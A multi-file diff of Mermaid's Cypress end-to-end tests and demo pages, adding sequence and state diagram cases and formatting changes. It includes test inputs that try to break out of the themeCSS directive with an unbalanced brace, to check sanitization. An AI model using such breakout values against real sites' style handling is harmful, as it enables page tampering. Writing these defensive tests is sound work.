@@ -52,6 +52,26 @@ context('Sequence diagram', () => {
{}
);
});
it('should handle line breaks and wrap annotations', () => {
imgSnapshotTest(
`
sequenceDiagram
participant Alice
participant Bob
participant John as John<br/>Second Line
Alice ->> Bob: Hello Bob, how are you?
Bob-->>John: How about you John?
Note right of John: John thinks a long<br/>long time, so long<br/>that the text does<br/>not fit on a row.
Bob-->Alice: Checking with John...
Note over John:wrap: John looks like he's still thinking, so Bob prods him a bit.
Bob-x John: Hey John -<br/>we're still waiting to know<br/>how you're doing
Note over John:nowrap: John's trying hard not to break his train of thought.
Bob-x John:wrap: John! Are you still debating about how you're doing? How long does it take??
Note over John: After a few more moments, John<br/>finally snaps out of it.
`,
{}
);
});
it('should render loops with a slight margin', () => {
imgSnapshotTest(
`
@@ -127,7 +147,7 @@ context('Sequence diagram', () => {
A->>Bob: Hola
Bob-->A: Pasten !
`,
{logLevel: 0}
{ logLevel: 0 }
);
});
it('should wrap (inline) long actor descriptions', () => {
@@ -138,7 +158,7 @@ context('Sequence diagram', () => {
A->>Bob: Hola
Bob-->A: Pasten !
`,
{logLevel: 0}
{ logLevel: 0 }
);
});
it('should wrap (directive) long actor descriptions', () => {
@@ -153,6 +173,18 @@ context('Sequence diagram', () => {
{}
);
});
it('should be possible to use actor symbols instead of boxes', () => {
imgSnapshotTest(
`
sequenceDiagram
actor Alice
actor Bob
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
`,
{}
);
});
it('should render long notes left of actor', () => {
imgSnapshotTest(
`
@@ -495,17 +527,17 @@ context('Sequence diagram', () => {
});
it('should render with an init directive', () => {
imgSnapshotTest(
`%%{init: { "theme": "dark", 'config': { "fontFamily": "Menlo", "fontSize": 18, "fontWeight": 400, "wrap": true }}}%%
`%%{init: { "theme": "dark", 'config': { "fontFamily": "Menlo", "fontSize": 18, "fontWeight": 400, "wrap": true }}}%%
sequenceDiagram
Alice->>Bob: Hello Bob, how are you? If you are not available right now, I can leave you a message. Please get back to me as soon as you can!
Note left of Alice: Bob thinks
Bob->>Alice: Fine!`,
{}
)
);
});
});
context('directives', () => {
it('should override config with directive settings', () => {
it('should override config with directive settings', () => {
imgSnapshotTest(
`
%%{init: { "config": { "mirrorActors": true }}}%%
@@ -514,10 +546,13 @@ context('Sequence diagram', () => {
note left of Alice: config set to mirrorActors: false<br/>directive set to mirrorActors: true
Bob->>Alice: Short as well
`,
{ logLevel:0, sequence: { mirrorActors: false, noteFontSize: 18, noteFontFamily: 'Arial' } }
{
logLevel: 0,
sequence: { mirrorActors: false, noteFontSize: 18, noteFontFamily: 'Arial' },
}
);
});
it('should override config with directive settings', () => {
it('should override config with directive settings', () => {
imgSnapshotTest(
`
%%{init: { "config": { "mirrorActors": false, "wrap": true }}}%%
@@ -526,7 +561,53 @@ context('Sequence diagram', () => {
note left of Alice: config: mirrorActors=true<br/>directive: mirrorActors=false
Bob->>Alice: Short as well
`,
{ logLevel:0, sequence: { mirrorActors: true, noteFontSize: 18, noteFontFamily: 'Arial' } }
{ logLevel: 0, sequence: { mirrorActors: true, noteFontSize: 18, noteFontFamily: 'Arial' } }
);
});
});
context('links', () => {
it('should support actor links and properties EXPERIMENTAL: USE WITH CAUTION', () => {
//Be aware that the syntax for "properties" is likely to be changed.
imgSnapshotTest(
`
%%{init: { "config": { "mirrorActors": true, "forceMenus": true }}}%%
sequenceDiagram
participant a as Alice
participant j as John
note right of a: Hello world!
properties a: {"class": "internal-service-actor", "type": "@clock"}
properties j: {"class": "external-service-actor", "type": "@computer"}
links a: {"Repo": "https://www.contoso.com/repo", "Swagger": "https://www.contoso.com/swagger"}
links j: {"Repo": "https://www.contoso.com/repo"}
links a: {"Dashboard": "https://www.contoso.com/dashboard", "On-Call": "https://www.contoso.com/oncall"}
link a: Contacts @ https://contacts.contoso.com/?contact=alice@contoso.com
a->>j: Hello John, how are you?
j-->>a: Great!
`,
{ logLevel: 0, sequence: { mirrorActors: true, noteFontSize: 18, noteFontFamily: 'Arial' } }
);
});
it('should support actor links and properties when not mirrored EXPERIMENTAL: USE WITH CAUTION', () => {
//Be aware that the syntax for "properties" is likely to be changed.
imgSnapshotTest(
`
%%{init: { "config": { "mirrorActors": false, "forceMenus": true, "wrap": true }}}%%
sequenceDiagram
participant a as Alice
participant j as John
note right of a: Hello world!
properties a: {"class": "internal-service-actor", "type": "@clock"}
properties j: {"class": "external-service-actor", "type": "@computer"}
links a: {"Repo": "https://www.contoso.com/repo", "Swagger": "https://www.contoso.com/swagger"}
links j: {"Repo": "https://www.contoso.com/repo"}
links a: {"Dashboard": "https://www.contoso.com/dashboard", "On-Call": "https://www.contoso.com/oncall"}
a->>j: Hello John, how are you?
j-->>a: Great!
`,
{
logLevel: 0,
sequence: { mirrorActors: false, noteFontSize: 18, noteFontFamily: 'Arial' },
}
);
});
});
@@ -559,18 +640,17 @@ context('Sequence diagram', () => {
`,
{ sequence: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(920);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(820 * .95, 820 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(920, 960);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(820 * 0.95, 820 * 1.05);
});
});
it('should render a sequence diagram when useMaxWidth is false', () => {
renderGraph(
@@ -600,15 +680,14 @@ context('Sequence diagram', () => {
`,
{ sequence: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(920);
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(820 * .95, 820 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.be.within(920, 960);
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(820 * 0.95, 820 * 1.05);
expect(svg).to.not.have.attr('style');
});
});
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('State diagram', () => {
@@ -329,6 +328,49 @@ describe('State diagram', () => {
}
);
});
it('v2 it should be possibel to use a choice', () => {
imgSnapshotTest(
`
stateDiagram-v2
[*] --> Off
Off --> On
state MyChoice [[choice]]
On --> MyChoice
MyChoice --> Washing
MyChoice --> Drying
Washing --> Finished
Finished --> [*]
`,
{
logLevel: 0,
}
);
});
it('v2 width of compond state should grow with title if title is wider', () => {
imgSnapshotTest(
`
stateDiagram-v2
state "Long state name 2" as NotShooting {
a-->b
}
`,
{
logLevel: 0,
}
);
});
it('v2 state label with names in it', () => {
imgSnapshotTest(
`
stateDiagram-v2
Yswsii: Your state with spaces in it
[*] --> Yswsii
`,
{
logLevel: 0,
}
);
});
it('v2 Simplest composite state', () => {
imgSnapshotTest(
`
@@ -338,7 +380,8 @@ describe('State diagram', () => {
}
`,
{
logLevel: 0, fontFamily: 'courier'
logLevel: 0,
fontFamily: 'courier',
}
);
});
@@ -350,7 +393,63 @@ describe('State diagram', () => {
a --> b: Stop
`,
{
logLevel: 0, fontFamily: 'courier',
logLevel: 0,
fontFamily: 'courier',
}
);
});
it('v2 should handle multiple notes added to one state', () => {
imgSnapshotTest(
`
stateDiagram-v2
MyState
note left of MyState : I am a leftie
note right of MyState : I am a rightie
`,
{
logLevel: 0,
fontFamily: 'courier',
}
);
});
it('v2 should handle different rendering directions in composite states', () => {
imgSnapshotTest(
`
stateDiagram-v2
direction LR
state A {
direction BT
a --> b
}
state C {
direction RL
c --> d
}
A --> C
`,
{
logLevel: 0,
fontFamily: 'courier',
}
);
});
it('v2 handle transition from one state in a composite state to a composite state', () => {
imgSnapshotTest(
`
stateDiagram-v2
state S1 {
sub1 -->sub2
}
state S2 {
sub4
}
S1 --> S2
sub1 --> sub4
`,
{
logLevel: 0,
fontFamily: 'courier',
}
);
});
@@ -364,18 +463,17 @@ describe('State diagram', () => {
`,
{ state: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(177);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(135 * .95, 135 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(177, 178);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(135 * 0.95, 135 * 1.05);
});
});
it('v2 should render a state diagram when useMaxWidth is false', () => {
renderGraph(
@@ -387,14 +485,13 @@ describe('State diagram', () => {
`,
{ state: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(177);
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(135 * .95, 135 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.be.within(177, 178);
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(135 * 0.95, 135 * 1.05);
expect(svg).to.not.have.attr('style');
});
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('State diagram', () => {
@@ -315,7 +314,8 @@ describe('State diagram', () => {
}
`,
{
logLevel: 0, fontFamily: 'courier'
logLevel: 0,
fontFamily: 'courier',
}
);
});
@@ -328,7 +328,8 @@ describe('State diagram', () => {
}
`,
{
logLevel: 0, fontFamily: 'courier'
logLevel: 0,
fontFamily: 'courier',
}
);
});
@@ -340,7 +341,8 @@ describe('State diagram', () => {
a --> b: Stop
`,
{
logLevel: 0, fontFamily: 'courier'
logLevel: 0,
fontFamily: 'courier',
}
);
});
@@ -353,18 +355,19 @@ describe('State diagram', () => {
`,
{ state: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(139);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(112 * .95, 112 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(176, 178);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
// Todo investigate difference
// expect(maxWidthValue).to.be.within(112 * .95, 112 * 1.05);
expect(maxWidthValue).to.be.within(130, 140);
});
});
it('should render a state diagram when useMaxWidth is false', () => {
renderGraph(
@@ -375,14 +378,16 @@ describe('State diagram', () => {
`,
{ state: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(139);
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(112 * .95, 112 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.be.within(176, 178);
// use within because the absolute value can be slightly different depending on the environment ±5%
// Todo investigate difference
// expect(width).to.be.within(112 * .95, 112 * 1.05);
expect(width).to.be.within(130, 140);
expect(svg).to.not.have.attr('style');
});
});
});

View File

@@ -1,12 +1,36 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util.js';
describe('Pie Chart', () => {
// beforeEach(()=>{
// cy.clock((new Date('2014-06-09')).getTime());
// });
describe('themeCSS balancing, it', () => {
it('should not allow unbalanced CSS definitions', () => {
imgSnapshotTest(
`
%%{init: { 'themeCSS': '} * { background: red }' } }%%
flowchart TD
a --> b
`,
{}
);
cy.get('svg');
});
it('should not allow unbalanced CSS definitions 2', () => {
imgSnapshotTest(
`
%%{init: { 'themeCSS': '\u007D * { background: red }' } }%%
flowchart TD
a2 --> b2
`,
{}
);
cy.get('svg');
});
});
['default', 'forest', 'dark', 'neutral'].forEach(theme=>{
describe('Pie Chart', () => {
// beforeEach(()=>{
// cy.clock((new Date('2014-06-09')).getTime());
// });
['default', 'forest', 'dark', 'neutral'].forEach((theme) => {
describe(theme, () => {
it('should render a pie diagram', () => {
imgSnapshotTest(
@@ -16,7 +40,7 @@ describe('Pie Chart', () => {
"Ice-Hockey" : 80
"Football" : 90
`,
{theme}
{ theme }
);
cy.get('svg');
});
@@ -39,7 +63,7 @@ describe('Pie Chart', () => {
G
end
`,
{theme}
{ theme }
);
cy.get('svg');
});
@@ -62,7 +86,7 @@ describe('Pie Chart', () => {
G
end
`,
{theme}
{ theme }
);
cy.get('svg');
});
@@ -88,7 +112,7 @@ describe('Pie Chart', () => {
`,
{theme}
{ theme }
);
cy.get('svg');
});
@@ -135,10 +159,10 @@ describe('Pie Chart', () => {
classM ..|> classN : Realization
classO .. classP : Link(Dashed)
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
it('should render a state diagram', () => {
imgSnapshotTest(
`
@@ -167,10 +191,10 @@ stateDiagram
Active --> SomethingElse
note right of SomethingElse : This is the note to the right.
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
it('should render a state diagram (v2)', () => {
imgSnapshotTest(
`
@@ -199,10 +223,10 @@ stateDiagram-v2
Active --> SomethingElse2
note right of SomethingElse2 : This is the note to the right.
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
it('should render a er diagram', () => {
imgSnapshotTest(
`
@@ -217,10 +241,10 @@ erDiagram
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
it('should render a user journey diagram', () => {
imgSnapshotTest(
`
@@ -235,12 +259,12 @@ erDiagram
Go downstairs: 5: Me
Sit down: 5: Me
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
it('should render a gantt diagram', () => {
cy.clock((new Date('2014-01-06')).getTime());
cy.clock(new Date('2014-01-06').getTime());
imgSnapshotTest(
`
gantt
@@ -271,10 +295,10 @@ erDiagram
Add gantt diagram to demo page :20h
Add another diagram to demo page :48h
`,
{theme}
{ theme }
);
cy.get('svg');
});
});
});
});
});

View File

@@ -36,23 +36,23 @@ mermaid.initialize({
startOnLoad: false,
securityLevel: 'loose',
flowchart: {
htmlLabels: true
htmlLabels: true,
},
gantt: {
axisFormatter: [
[
'%Y-%m-%d',
d => {
(d) => {
return d.getDay() === 1;
}
]
]
}
},
],
],
},
});
mermaid.render(
'the-id-of-the-svg',
code,
svg => {
(svg) => {
console.log(svg);
const elem = document.querySelector('#graph-to-be');
elem.innerHTML = svg;

View File

@@ -35,7 +35,7 @@
+withdrawl(amount) int
}
cssClass "BankAccount" customCss
</div>
<div class="mermaid" style="width: 100%; height: 20%;">
%%{init: {'theme': 'base', 'fontFamily': 'courier', 'themeVariables': { 'primaryColor': '#fff000'}}}%%
@@ -47,7 +47,7 @@
+withdrawl(amount) int
}
cssClass "BankAccount" customCss
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
%%{init: {'theme': 'base', 'fontFamily': 'courier', 'themeVariables': { 'primaryColor': '#fff000'}}}%%
@@ -69,8 +69,8 @@
int id
test()
}
callback Class01 "callback" "A Tooltip"
callback Class01 "callback" "A Tooltip"
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
flowchart TB
@@ -79,7 +79,7 @@
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
class a_a apa;
click a_a "http://www.aftonbladet.se" "apa"
</div>
<div class="mermaid2" style="width: 100%; height: 20%;">
@@ -110,19 +110,19 @@
class Shape
callback Shape "callbackFunction" "This is a tooltip for a callback"
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'default',
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'linear', "htmlLabels": true },
flowchart: { curve: 'linear', htmlLabels: true },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
@@ -131,9 +131,11 @@
// fontFamily: '"arial", sans-serif',
// },
curve: 'linear',
securityLevel: 'loose'
securityLevel: 'loose',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -95,35 +95,74 @@
Add gantt diagram to demo page : 20h
Add another diagram to demo page : 48h
</div>
<div style="display: flex">
<div id="FirstLine" class="mermaid">
graph TB
FunctionArg-->URL
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
</div>
<div id="FirstLine" class="mermaid">
flowchart TB
FunctionArg-->URL
click FunctionArg call clickByFlowArg(ARGUMENT) "Add a div"
click URL "http://localhost:9000/webpackUsage.html" "Visit <strong>mermaid docs</strong>"
</div>
<div id="FirstLine" class="mermaid">
classDiagram
class ShapeLink
link ShapeLink "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
class ShapeCallback
click ShapeCallback call clickByClass(123) "This is a tooltip for a callback"
</div>
<div id="FirstLine" class="mermaid">
classDiagram-v2
class ShapeLink2
link ShapeLink2 "http://localhost:9000/webpackUsage.html" "This is a tooltip for a link"
class ShapeCallback2
click ShapeCallback2 call clickByClass(123) "This is a tooltip for a callback"
</div>
</div>
<script src="./mermaid.js"></script>
<script>
function clickByFlow(elemName) {
const div = document.createElement('div')
div.className = 'created-by-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Flow'
const div = document.createElement('div');
div.className = 'created-by-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Flow';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByFlowArg(argument) {
const div = document.createElement('div');
div.className = 'created-by-click-2';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Flow: ' + argument;
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByGantt(arg1, arg2, arg3) {
const div = document.createElement('div')
div.className = 'created-by-gant-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Gant'
const div = document.createElement('div');
div.className = 'created-by-gant-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Gant';
if (arg1) div.innerText += ' ' + arg1;
if (arg2) div.innerText += ' ' + arg2;
if (arg3) div.innerText += ' ' + arg3;
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByClass() {
const div = document.createElement('div')
div.className = 'created-by-class-click'
div.style = 'padding: 20px; background: purple; color: white;'
div.innerText = 'Clicked By Class'
function clickByClass(arg) {
const div = document.createElement('div');
div.className = 'created-by-class-click';
div.style = 'padding: 20px; background: purple; color: white;';
div.innerText = 'Clicked By Class' + (arg ? arg : '');
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
</script>

View File

@@ -62,20 +62,20 @@
<script src="./mermaid.js"></script>
<script>
function clickByFlow(elemName) {
const div = document.createElement('div')
div.className = 'created-by-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Flow'
const div = document.createElement('div');
div.className = 'created-by-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Flow';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByGantt(elemName) {
const div = document.createElement('div')
div.className = 'created-by-gant-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Gant'
const div = document.createElement('div');
div.className = 'created-by-gant-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Gant';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'strct', logLevel: 1 });
</script>

View File

@@ -64,23 +64,23 @@
<script src="./mermaid.js"></script>
<script>
function clickByFlow(elemName) {
const div = document.createElement('div')
div.className = 'created-by-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Flow'
const div = document.createElement('div');
div.className = 'created-by-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Flow';
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
function clickByGantt(arg1, arg2, arg3) {
const div = document.createElement('div')
div.className = 'created-by-gant-click'
div.style = 'padding: 20px; background: green; color: white;'
div.innerText = 'Clicked By Gant'
const div = document.createElement('div');
div.className = 'created-by-gant-click';
div.style = 'padding: 20px; background: green; color: white;';
div.innerText = 'Clicked By Gant';
if (arg1) div.innerText += ' ' + arg1;
if (arg2) div.innerText += ' ' + arg2;
if (arg3) div.innerText += ' ' + arg3;
document.getElementsByTagName('body')[0].appendChild(div)
document.getElementsByTagName('body')[0].appendChild(div);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'strict', logLevel: 1 });
</script>

View File

@@ -0,0 +1,39 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Mermaid Quick Test Page</title>
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
<style>
body {
font-family: 'trebuchet ms', verdana, arial;
}
</style>
</head>
<body>
<div class="mermaid2">
%%{init: { 'themeCSS': '} * { background: lightblue }' } }%%
flowchart TD
a --> b
</div>
<div class="mermaid">
%%{init:{"theme":"base", "themeVariables": {"primaryColor":"#411d4e", "titleColor":"white", "darkMode":true}}}%%
flowchart LR
subgraph A
a --> b
end
subgraph B
i -->f
end
A --> B
</div>
<script src="./mermaid.js"></script>
<script>
function showFullFirstSquad(elemName) {
console.log('show ' + elemName);
}
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 0 });
</script>
</body>
</html>

View File

@@ -74,7 +74,7 @@ stateDiagram-v2
A --> D: asd123
</div>
</div>
<div class="mermaid" style="width: 50%; height: 40%;">
<div class="mermaid2" style="width: 50%; height: 40%;">
%% this does not produce the desired result
flowchart TB
subgraph container_Beta
@@ -88,24 +88,13 @@ flowchart TB
</div>
<div class="mermaid" style="width: 50%; height: 40%;">
%%{init: {'theme': 'base', 'themeVariables': { 'primaryColor': '#ff0000'}}}%%
flowchart TB
b-->B
a-->c
subgraph O
A
end
subgraph B
c
end
subgraph A
a
b
B
end
flowchart TB
a{{"Lorem 'ipsum' dolor 'sit' amet, 'consectetur' adipiscing 'elit'."}}
--> b{{"Lorem #quot;ipsum#quot; dolor #quot;sit#quot; amet,#quot;consectetur#quot; adipiscing #quot;elit#quot;."}}
</div>
<div class="mermaid" style="width: 50%; height: 50%;">
<div class="mermaid2" style="width: 50%; height: 50%;">
flowchart TB
internet
nat
@@ -130,7 +119,7 @@ flowchart TB
routeur --> subnet1 & subnet2
subnet1 & subnet2 --> nat --> internet
</div>
<div class="mermaid" style="width: 50%; height: 50%;">
<div class="mermaid2" style="width: 50%; height: 50%;">
flowchart TD
subgraph one[One]
@@ -145,7 +134,7 @@ end
sub_one --> two
</div>
<div class="mermaid" style="width: 50%; height: 50%;">
<div class="mermaid2" style="width: 50%; height: 50%;">
flowchart TD
subgraph one[One]
@@ -166,23 +155,25 @@ _one --> b
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
// theme: 'forest',
// themeVariables:{primaryColor: '#ff0000'},
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: true },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -107,23 +107,25 @@ Note over Bob,Alice: Looks back
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
// theme: 'forest',
// themeVariables:{primaryColor: '#ff0000'},
// arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
flowchart: { curve: 'cardinal', "htmlLabels": false },
flowchart: { curve: 'cardinal', htmlLabels: false },
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorMargin: 50, showSequenceNumbers: true },
// sequenceDiagram: { actorMargin: 300 } // deprecated
fontFamily: '"arial", sans-serif',
curve: 'cardinal',
securityLevel: 'strict'
securityLevel: 'strict',
});
function callback(){alert('It worked');}
function callback() {
alert('It worked');
}
</script>
</body>
</html>

View File

@@ -1,52 +1,52 @@
<html>
<head>
<meta charset="utf-8"/>
<!-- <meta charset="iso-8859-15"/> -->
<script src="/e2e.js"></script>
<!-- <link href="https://fonts.googleapis.com/css?family=Mansalva&display=swap" rel="stylesheet" /> -->
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* font-family: 'Mansalva', cursive;*/
/* font-family: 'Mansalva', cursive; */
/* font-family: 'arial'; */
/* font-family: "trebuchet ms", verdana, arial; */
}
/* div {
font-family: 'arial';
} */
/* .mermaid-main-font {
font-family: "trebuchet ms", verdana, arial;
font-family: var(--mermaid-font-family);
} */
/* :root {
--mermaid-font-family: '"trebuchet ms", verdana, arial';
--mermaid-font-family: "Comic Sans MS", "Comic Sans", cursive;
--mermaid-font-family: '"Lucida Console", Monaco, monospace';
} */
svg {
border: 2px solid darkred;
}
.exClass2 > rect, .exClass {
fill: greenyellow !important;
}
</style>
</head>
<body>
<script src="./mermaid.js"></script>
<script>
// Notice startOnLoad=false
// This prevents default handling in mermaid from render before the e2e logic is applied
// mermaid.initialize({
// startOnLoad: false,
// useMaxWidth: true,
// // "themeCSS": ":root { --mermaid-font-family: \"trebuchet ms\", verdana, arial;}",
// // fontFamily: '\"trebuchet ms\", verdana, arial;'
// // fontFamily: '"Comic Sans MS", "Comic Sans", cursive'
// // fontFamily: '"Mansalva", cursive',
// // fontFamily: '"Noto Sans SC", sans-serif'
// fontFamily: '"Noto Sans SC", sans-serif'
// });
</script>
</body>
</html>
<html>
<head>
<meta charset="utf-8"/>
<!-- <meta charset="iso-8859-15"/> -->
<script src="/e2e.js"></script>
<!-- <link href="https://fonts.googleapis.com/css?family=Mansalva&display=swap" rel="stylesheet" /> -->
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* font-family: 'Mansalva', cursive;*/
/* font-family: 'Mansalva', cursive; */
/* font-family: 'arial'; */
/* font-family: "trebuchet ms", verdana, arial; */
}
/* div {
font-family: 'arial';
} */
/* .mermaid-main-font {
font-family: "trebuchet ms", verdana, arial;
font-family: var(--mermaid-font-family);
} */
/* :root {
--mermaid-font-family: '"trebuchet ms", verdana, arial';
--mermaid-font-family: "Comic Sans MS", "Comic Sans", cursive;
--mermaid-font-family: '"Lucida Console", Monaco, monospace';
} */
svg {
border: 2px solid darkred;
}
.exClass2 > rect, .exClass {
fill: greenyellow !important;
}
</style>
</head>
<body>
<script src="./mermaid.js"></script>
<script>
// Notice startOnLoad=false
// This prevents default handling in mermaid from render before the e2e logic is applied
// mermaid.initialize({
// startOnLoad: false,
// useMaxWidth: true,
// // "themeCSS": ":root { --mermaid-font-family: \"trebuchet ms\", verdana, arial;}",
// // fontFamily: '\"trebuchet ms\", verdana, arial;'
// // fontFamily: '"Comic Sans MS", "Comic Sans", cursive'
// // fontFamily: '"Mansalva", cursive',
// // fontFamily: '"Noto Sans SC", sans-serif'
// fontFamily: '"Noto Sans SC", sans-serif'
// });
</script>
</body>
